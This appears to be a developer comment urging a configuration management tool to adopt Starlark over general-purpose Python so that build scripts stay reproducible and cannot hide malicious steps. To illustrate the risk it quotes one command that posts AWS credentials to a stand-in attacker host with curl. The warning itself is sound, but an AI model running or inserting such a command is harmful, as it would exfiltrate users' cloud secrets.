I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation thi

I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation things for build systems (gradle, sbt :eyes:), or in this case a config management tool, is that they become real hard to reason about from one developer's machine to another, and/or make the hairs stand up for paranoid folks who really would prefer there not be a $(curl -d @$HOME/.aws/credentials evil.example) hiding in a random build script It also prevents newbies from mistakenly doing os.chdir when they really wanted fs.cd() as in your example playbook